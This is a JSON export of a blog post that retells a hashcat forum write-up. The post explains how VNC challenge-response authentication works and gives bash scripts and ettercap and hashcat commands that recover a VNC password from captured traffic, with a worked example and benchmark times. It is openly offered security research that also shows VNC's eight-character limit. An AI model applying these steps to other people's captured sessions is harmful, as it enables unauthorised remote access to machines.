{"id":4833,"date":"2020-06-03T17:24:20","date_gmt":"2020-06-03T17:24:20","guid":{"rendered":"https:\/\/miloserdov.org\/?p=4833"},"modified":"2020-06-03T17:50:34","modified_gmt":"2020-06-03T17:50:34","slug":"how-to-crack-vnc-password-from-captured-traffic-challenge-response","status":"publish","type":"post","link":"https:\/\/miloserdov.org\/?p=4833","title":{"rendered":"How to crack VNC password from captured traffic (challenge response)"},"content":{"rendered":"<div class=\"0b20205ac99e89c6cabdb919fd9d1a8a\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"9942251718\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\r\n\r\n\n<\/div>\n<p style=\"text-align: justify;\">\n\tOriginal post: <a href=\"https:\/\/hashcat.net\/forum\/thread-8833-post-46908.html\" rel=\"noopener noreferrer\" target=\"_blank\">https:\/\/hashcat.net\/forum\/thread-8833-post-46908.html<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe post is interested in every sense: firstly, as the authors rightly note, there is no ready-made solution for cracking the VNC password in <a href=\"https:\/\/en.kali.tools\/?p=155\" target=\"_blank\" rel=\"noopener noreferrer\">hashcat<\/a>; secondly, the research process itself is curious.\n<\/p>\n<p style=\"text-align: justify;\">\n\tThere was a goal, using hashcat to crack a password from captured traffic of the VNC session (containing challenge and response), but it was not possible to find a complete guide on how to do this. Therefore, the following research was done.\n<\/p>\n<p style=\"text-align: justify;\">\n\tDuring client authentication on the VNC server, the server sends an Authentication challenge, and the client sends an Authentication response.\n<\/p>\n<p style=\"text-align: justify;\">\n\tAuthentication challenge example (894443629f4a9675809cff5da2e84651):\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/challenge.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-4836\" height=\"665\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/challenge.png\" width=\"1016\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/challenge.png 1016w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/challenge-1000x655.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/challenge-768x503.png 768w\" sizes=\"(max-width: 1016px) 100vw, 1016px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tAuthentication response example (271d94eb610b5c42588dc53506419e6a):\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/response.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-4837\" height=\"659\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/response.png\" width=\"1016\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/response.png 1016w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/response-1000x649.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/response-768x498.png 768w\" sizes=\"(max-width: 1016px) 100vw, 1016px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tSo we started looking into how the VNC challenge response authentication works and here is what we understood:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tThe client initiates a connection with the server.\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tThe server sends a unique\/random 16-bytes challenge to the client.\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tThe client uses DES to encrypt (one round) the challenge with the input password and sends the response.\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tThe server receives the response and does the same encryption scheme to compare the results.\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\tThe connection is established if it matches.\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tFor info:&nbsp;It is also known that DES encryption algorithm can only accept keys of 56 bits, since ASCII uses 7 bits long characters the key can be up to 8 characters long maximum. If it is shorter, it will be padded with zeros. This is making the assumption that the traditional VNC protocol is used with DES (some new VNC client may have modified this).\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe issue is that VNC doesn&#39;t use the password given by the user as is but performs a transformation first:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tthe bits of each byte of the corresponding ascii value are reversed\n\t<\/li>\n<\/ul>\n<pre class=\"brush:plain;\" style=\"text-align: justify;\">\r\nPassword : 12345678\r\nAscii values (HEX) : 31 32 33 34 35 36 37 38\r\nBinary values:      00110001 00110010 00110011 ....\r\nBinary reversed:  10001100 01001100 11001100 ....\r\nReversed (HEX): 8c 4c cc 2c ac 6c ec 1c<\/pre>\n<p style=\"text-align: justify;\">\n\tSo the actual VNC user password used for encryption is : 8c4ccc2cac6cec1c (12345678 in ASCII)\n<\/p>\n<p style=\"text-align: justify;\">\n\tJohn The Ripper has implemented this in the version 1.9.0 Jumbo-1\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn order to crack VNC passwords with <strong>hashcat<\/strong> we implemented this transformation with a small bash script to create a modified charset of the ascii characters.\n<\/p>\n<p style=\"text-align: justify;\">\n\tCreate the <strong>toHexVNC.sh<\/strong> file:\n<\/p>\n<pre class=\"brush:bash;\">\r\ngedit toHexVNC.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd save into it:\n<\/p>\n<pre class=\"brush:bash;\">\r\ntoHexVNC(){\r\n  for ((i=0;i&lt;${#1};i++));\r\n  do\r\n    ascii2binrev=`echo &quot;${1:$i:1}&quot; | perl -lpe &#39;$_=unpack&quot;B*&quot;,$_&#39; | rev`\r\n    binrev2hex+=`printf &quot;%02x\\n&quot; &quot;$((2#$ascii2binrev))&quot;`\r\n  done\r\n  echo $binrev2hex\r\n}\r\n\r\ntoHexVNC $1<\/pre>\n<p style=\"text-align: justify;\">\n\tRun like this:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toHexVNC.sh STRING<\/pre>\n<p style=\"text-align: justify;\">\n\tFor example, to convert all numbers:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toHexVNC.sh 0123456789<\/pre>\n<h2 style=\"text-align: justify;\">\n\tVNC Password Cracking in Hashcat<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\tNow we can crack it with hashcat using:\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\tattack mode <strong>3<\/strong> (mask attack)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\thash type <strong>14000<\/strong> (DES)\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\thash format : &lt;cipher&gt;:&lt;plaintext&gt; (in VNC: <strong>&lt;response&gt;:&lt;challenge&gt;<\/strong> and NOT &lt;challenge&gt;:&lt;response&gt;)\n\t<\/li>\n<li style=\"text-align: justify; margin-left: 40px;\">\n\t\tthe response and challenge needs to be truncated to 8bytes length (no need to waste resources on the whole 16 bytes and in any case hashcat accepts only 8 bytes of cipher\/plaintext).\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\treversed charset and option <strong>&#8211;hex-charset<\/strong>\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tThere is a VNC.pcapng file with a captured VNC session, as you can see above on the screenshots, one can copy the request and feedback from the <strong>Wireshark<\/strong> window. They can also be extracted using <strong>ettercap<\/strong>:\n<\/p>\n<pre class=\"brush:bash;\">\r\nettercap -Tq -r VNC.pcapng<\/pre>\n<p style=\"text-align: justify;\">\n\tOutput:\n<\/p>\n<pre class=\"brush:plain;\">\r\nettercap 0.8.3 copyright 2001-2019 Ettercap Development Team\r\n\r\nReading from VNC.pcapng\r\nLibnet failed IPv4 initialization. Don&#39;t send IPv4 packets.\r\nLibnet failed IPv6 initialization. Don&#39;t send IPv6 packets.\r\n  34 plugins\r\n  42 protocol dissectors\r\n  57 ports monitored\r\n24609 mac vendor fingerprint\r\n1766 tcp OS fingerprint\r\n2182 known services\r\n\r\nStarting Unified sniffing...\r\n\r\n192.168.0.101-5900:$vnc$*894443629f4a9675809cff5da2e84651*271d94eb610b5c42588dc53506419e6a\r\nVNC : 192.168.0.101:5900 -&gt; Challenge:894443629f4a9675809cff5da2e84651 Response:271d94eb610b5c42588dc53506419e6a<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/ettercap.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-4838\" height=\"488\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/ettercap.png\" width=\"1157\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/ettercap.png 1157w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/ettercap-1000x422.png 1000w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/ettercap-768x324.png 768w\" sizes=\"(max-width: 1157px) 100vw, 1157px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tIn this output we are interested in:\n<\/p>\n<ul>\n<li>\n\t\t<strong>Challenge<\/strong>:894443629f4a9675809cff5da2e84651\n\t<\/li>\n<li>\n\t\t<strong>Response<\/strong>:271d94eb610b5c42588dc53506419e6a\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tWe take only the parts we need:\n<\/p>\n<pre class=\"brush:bash;\">\r\necho 894443629f4a9675809cff5da2e84651 | cut -c 1-16\r\n894443629f4a9675\r\n\r\necho 271d94eb610b5c42588dc53506419e6a | cut -c 1-16\r\n271d94eb610b5c42<\/pre>\n<p style=\"text-align: justify;\">\n\tDo not forget that the response goes FIRST, and then only the challenge, that is:\n<\/p>\n<pre class=\"brush:plain;\">\r\n271d94eb610b5c42:894443629f4a9675<\/pre>\n<p style=\"text-align: justify;\">\n\tWe save this hash in the <strong>toCrack.txt<\/strong> file.\n<\/p>\n<p style=\"text-align: justify;\">\n\tNow we need to decide which characters will be used to generate candidates for passwords. The full list of Ascii is:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<strong>abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$%*^-+_=~[]{}:;&lt;&gt;,.?\/\\&quot;)(&#39;&amp;` |<\/strong>\n<\/p>\n<p style=\"text-align: justify;\">\n\tTo use all 95 ascii characters transformed for VNC, create the file <strong>VNC_allascii.charset<\/strong> and copy it into it:\n<\/p>\n<pre class=\"brush:plain;\">\r\n8646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5e8242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5a0c8c4ccc2cac6cec1c9c840224a4547ab4d4fabc7edabadebe5cdc3c7c3474fcf43a449414e46406043e00<\/pre>\n<p style=\"text-align: justify;\">\n\tIf passwords candidates are only in uppercase and lowercase letters, as well as numbers, to generate passwords:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toHexVNC.sh abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 &gt; VNC_ascii.charset<\/pre>\n<p style=\"text-align: justify;\">\n\tIf passwords candidates are only in small letters:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toHexVNC.sh abcdefghijklmnopqrstuvwxyz &gt; VNC_ascii.charset<\/pre>\n<p style=\"text-align: justify;\">\n\tI think you get the gist.\n<\/p>\n<p style=\"text-align: justify;\">\n\tI guess my password contains only numbers:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toHexVNC.sh 0123456789 &gt; VNC_ascii.charset<\/pre>\n<p style=\"text-align: justify;\">\n\t<strong>VERY IMPORTANT<\/strong>: the original researchers do not pay attention to this, but even a complete list of converted ASCII characters will not crack VNC passwords that are shorter than 8 characters. In principle, this may seem logical &ndash; DES encryption requires a password of at least 8 characters in length. But the VNC accepts shorter characters, padding the missing characters with a zero byte. That is, after creating the <strong>VNC_ascii.charset<\/strong> file, open it and be sure to add two additional zeros there if you assume that a password shorter than 8 characters could be set (this is quite possible!).\n<\/p>\n<p style=\"text-align: justify;\">\n\tFinally, we compose the hashcat command to brute-force VNC password:\n<\/p>\n<pre class=\"brush:bash;\">\r\nhashcat -a 3 -m 14000 -1 VNC_ascii.charset --hex-charset --force -D 1,2 --hwmon-temp-abort 100 toCrack.txt ?1?1?1?1?1?1?1?1<\/pre>\n<p style=\"text-align: justify;\">\n\tPassword cracked:\n<\/p>\n<pre class=\"brush:plain;\">\r\n271d94eb610b5c42:894443629f4a9675:$HEX[4c4c4c4c4c4c0000]<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/hashcat-cracked.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-4835\" height=\"525\" src=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/hashcat-cracked.png\" width=\"825\" srcset=\"https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/hashcat-cracked.png 825w, https:\/\/miloserdov.org\/wp-content\/uploads\/2020\/06\/hashcat-cracked-768x489.png 768w\" sizes=\"(max-width: 825px) 100vw, 825px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\tThe cracked password will be a hexadecimal value, and it will need to be converted again to get the password in ASCII. To do this, a function is also written to use it, create the <strong>toAscii.sh<\/strong> file:\n<\/p>\n<pre class=\"brush:bash;\">\r\ngedit toAscii.sh<\/pre>\n<p style=\"text-align: justify;\">\n\tAnd copy into it:\n<\/p>\n<pre class=\"brush:bash;\">\r\ntoAscii(){\r\n  for ((i=0;i&lt;${#1};i+=2));\r\n  do\r\n    hex2binary=`perl -e &#39;printf &quot;%08b\\n&quot;, 0x&#39;&quot;${1:$i:2}&quot;&#39;&#39; | rev`\r\n    ascii2binrev+=`echo $hex2binary | perl -lpe &#39;$_=pack&quot;B*&quot;,$_&#39;`\r\n  done\r\n  echo $ascii2binrev\r\n}\r\n\r\ntoAscii $1<\/pre>\n<p style=\"text-align: justify;\">\n\tRun like this:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toAscii.sh STRING<\/pre>\n<p style=\"text-align: justify;\">\n\tTo convert the cracked password:\n<\/p>\n<pre class=\"brush:bash;\">\r\nbash toAscii.sh 4c4c4c4c4c4c0000<\/pre>\n<p style=\"text-align: justify;\">\n\tOutput: <strong>222222<\/strong> (six deuces were used as a password).\n<\/p>\n<p style=\"text-align: justify;\">\n\tSome benchmarks:\n<\/p>\n<p style=\"text-align: justify;\">\n\tUsing 2x NVIDIA Quadro P4000 8GB\n<\/p>\n<ul>\n<li style=\"text-align: justify;\">\n\t\t8 characters long loweralphanumspace -&gt; max. ~2 min\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t8 characters long mixalphanum -&gt; max. ~2.2 hours\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t8 characters long mixalphanumspace -&gt; max. ~2.5 hours\n\t<\/li>\n<li style=\"text-align: justify;\">\n\t\t8 characters long allascii -&gt; max. ~3 days\n\t<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n\tAs you can see, even if passwords contain any characters, the VNC password has no chance to remain uncracked. You can set passwords of any length for the VNC server, for example, in 20 characters, and the program will silently accept them, but in fact no more than the first 8 characters of the password will be saved and used.<\/p>\n\n<div style=\"font-size: 0px; height: 0px; line-height: 0px; margin: 0; padding: 0; clear: both;\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Original post: https:\/\/hashcat.net\/forum\/thread-8833-post-46908.html The post is interested in every sense: firstly, as the authors rightly note, there is no ready-made solution for cracking the VNC password in hashcat; secondly, the research process itself is curious. There was a goal, using hashcat to crack a password from captured traffic of the<a href=\"https:\/\/miloserdov.org\/?p=4833\" class=\"read-more\">Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":4835,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[65,121,18,537,194],"class_list":["post-4833","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-password-attacks","tag-brute-force","tag-ettercap","tag-hashcat","tag-vnc","tag-wireshark"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/4833"}],"collection":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4833"}],"version-history":[{"count":4,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/4833\/revisions"}],"predecessor-version":[{"id":4841,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/posts\/4833\/revisions\/4841"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=\/wp\/v2\/media\/4835"}],"wp:attachment":[{"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4833"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4833"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/miloserdov.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4833"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}